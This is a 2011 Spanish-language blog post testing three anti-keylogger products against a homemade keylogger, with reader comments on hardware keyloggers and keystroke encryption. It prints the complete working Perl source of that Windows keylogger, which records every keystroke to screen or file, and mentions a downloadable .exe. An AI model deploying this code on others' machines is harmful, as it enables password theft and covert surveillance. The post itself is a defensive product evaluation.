14 febrero 2011

Anti-Keyloggers a examen

Uno de los riesgos mas preocupantes que nos podemos encontrar cuando usamos un PC es que todas las pulsaciones realizadas sobre él sean interceptadas y grabadas. 

Los famosos 'Keyloggers' resultan muy útiles para robar principalmente contraseñas, aunque también supone un riesgo contra nuestra privacidad si todos los correos escritos / conversaciones de chat etc son interceptados.

Existen un buen numero de programas 'Anti keyloggers', de todos ellos he seleccionado 3


Todos ellos prometen lo mismo: son capaces de detectar y bloquear cualquier tipo de keylogger conocido o desconocido, es decir, no actúan con listas negras / blancas, analizan comportamiento.

Para ponerlos a prueba he preferido no usar algún keylogger conocido y famoso por aquello del ¿será verdad que no usan firmas?.  Así que me he hecho mi propio keylogger.

Mi Keylogger es extremadamente simple y sencillo, haciendo uso de GetAsyncKeyState, una llamada disponible en el API de Windows, he construido un simple pero efectivo keylogger en Perl.

El keylogger registra cualquier pulsación del teclado y permite escribir lo capturado o bien por pantalla, o en un fichero especificado como primer argumento.

use Win32::API;
use Time::HiRes qw(usleep);
use strict ;

$|=1;

$SIG{'INT'} = \&muere;
$SIG{'QUIT'} = \&muere;
$SIG{'KILL'} = \&muere;
$SIG{'ABRT'} = \&muere;
$SIG{'STOP'} = \&muere;

sub muere

{
    close FH ;
    exit 0;
}

my $rsGetAsyncKeyState = new Win32::API("user32", "GetAsyncKeyState", "N", "I"); 
my $ret; 
my $keyCode;

 
while(1) {     
    if (@ARGV[0]) {

        open (FH, ">>", "@ARGV[0]") ;

    }

    for ($keyCode=0; $keyCode<256; $keyCode++) {

        $ret = $rsGetAsyncKeyState->Call($keyCode);

        if ($ret eq -32767) { 

            my $tecla= chr($keyCode);

            if (@ARGV[0]) {

                if ($keyCode == "13") { print FH "\n" }
                print FH "$tecla"

            }

            else {

                if ($keyCode == "13") { print "\n" }
                print "$tecla"

            }
        }   
    }
    usleep(1000);
}

Se puede descargar ya convertido en .exe aquí

Zemana AntiLogger

Una vez completado el proceso de instalación (siguiente siguiente fin) procedemos a ejecutar keylog.exe desde un cmd.exe y automáticamente aparece una notificación en el tray:


Perfecto ! lo ha pillado a la primera, ha identificado que es un keylogger y lo ha bloqueado. Al intentar volver a ejecutar el proceso keylog.exe, directamente no se ejecuta, si copiamos el .exe con otro nombre, da igual, está bloqueado.

DataGuard AntiKeylogger

Una vez hecha la instalación nos pide que re-iniciemos el sistema, terminado ese paso ya está activo.

Repetimos la prueba, ejecutamos keylog.exe y ¡sorpresa! no tenemos ningún evento que notifique que hay un keylogger en uso, no obstante, el keylogger no funciona. Asumo que DataGuard bloquea ciertas llamadas al sistema como método de protección. Bien por bloquear el keylogger, mal por no haberlo detectado. 

Si vamos a los logs del programa:


Vemos que si ha detectado y bloqueado parte del software de VMware, siendo este claramente un falso positivo.

PrivacyKeyboard

Vamos con la tercera prueba, una vez instalamos PrivacyKeyboard, lanzamos nuestro -a estas alturas- ya querido keylog.exe y ¡vaya! ni un solo evento / notificación, no obstante y repitiendo el mismo patrón que con DataGuard, el keylog tampoco es efectivo, no recoge datos.

Si observamos el visor de logs del programa:


Se repite el mismo falso positivo con VMware que daba DataGuard.

Conclusión

Todas las soluciones analizadas han sido capaces de bloquear el uso de nuestro simple keylogger volviéndolo inefectivo. Pero solo una, Zemana, es capaz de identificar el keylogger y avisarnos de que está siendo utilizado en el sistema. El resto, no solo no nos han notificado, sino que además han cometido falsos positivos

10 comments :

Román Ramírez dijo...

Muy interesante, @Yago.

Una pregunta, ¿qué estrategias se te ocurren frente a keyloggers hardware?

Hace un tiempo estuvimos discutiendo una idea que era montar un teclado virtual donde para pulsar cada tecla tuvieras que introducir una combinación de teclas (por ejemplo, "A" == "1RTSc").

¿Otras estrategias que se te ocurran?

Yago Jesus dijo...

@Román Hay varias soluciones que prometen cifrar los datos a bajo nivel y que, en teoría, prometen ser una solución anti keyloggers en hardware

Adama dijo...

Pues lo que hacen los dos que bloquean la llamada a esa función me parece que hacen una chapu. Esa función a veces es útil llamarla, por ejemplo para gestionar un (CTRL + alguna tecla). Si lo bloquean porque sí están limitando funcionalidades.

Mucho mejor el zemana entonces. Gracias por la comparativa. :)

Adama dijo...

@Román, lo que comentas sería equivalente a un cifrado de vigenère por lo que sería muy fácil encontrar el original basándose en la frecuencia de uso de las letras.

Un saludo!

Adama dijo...

Perdón por mi pesadez. :P

No sería bien bien vigenère pero el método para descifrarlo sería el mismo. ;)

Anónimo dijo...

Muy buen articulo,sencillo de enternder y muy practico.
key scrambler es una buena opcion (cifra las pulsaciones de teclado). En su version free funciona solo para navegadores web firefox y IE. La vesion de pago funciona para muchas aplicaciones del escritorio.

Román Ramírez dijo...

@Adama, lo he explicado muy simplificado. Cualquier ataque estadístico revienta un texto cifrado.

La idea sería que las asociaciones de teclas con su correspondiente "clave" cambie cada X tiempo (un html5 que dibuje el teclado con un jscript que vaya actualizando).

No es que sea infalible ni especialmente seguro, pero para el típico keylogger hardware serviría...

@Anónimo no conocía Key Scrambler, qué chulo :)

Anónimo dijo...

El progrma de zemana me lo marca como virus el panda clound

RoMaNSoFt dijo...

Dudo que "Key Scrambler" detecte un keylogger hardware. Al menos si funciona como dice en su web:

"Using advanced encryption algorithms, KeyScrambler encrypts your keystrokes deep in the kernel, as soon as they enter the computer.

When the encrypted keystrokes finally arrive at the intended application, the decryption component of KeyScrambler goes to work, and you see exactly the keys you've typed."

Dicho de otra forma, cuando el driver de kernel va a encriptar ya hace siglos que el keylogger hardware registró la pulsación (en claro) :)

Solo se me ocurre una forma de detectar un keylogger hardware: listando los dispositivos USB y comparando con la lista "limpia" y anterior. De esta forma, si de repente vemos que nos desaparece nuestro teclado USB y aparece otro dispositivo extraño... o simplemente aparece un nuevo hub USB, etc... querrá decir que algo raro está pasando.

Saludos.

Thor dijo...

Buenas! Buena entrada.
Estaría bien probar otros métodos para registrar pulsaciones de teclado por ejemplo mediante un hook, supongo que los antikeylogger lo detectarán pero por probar...
http://www.daniweb.com/code/snippet217096.html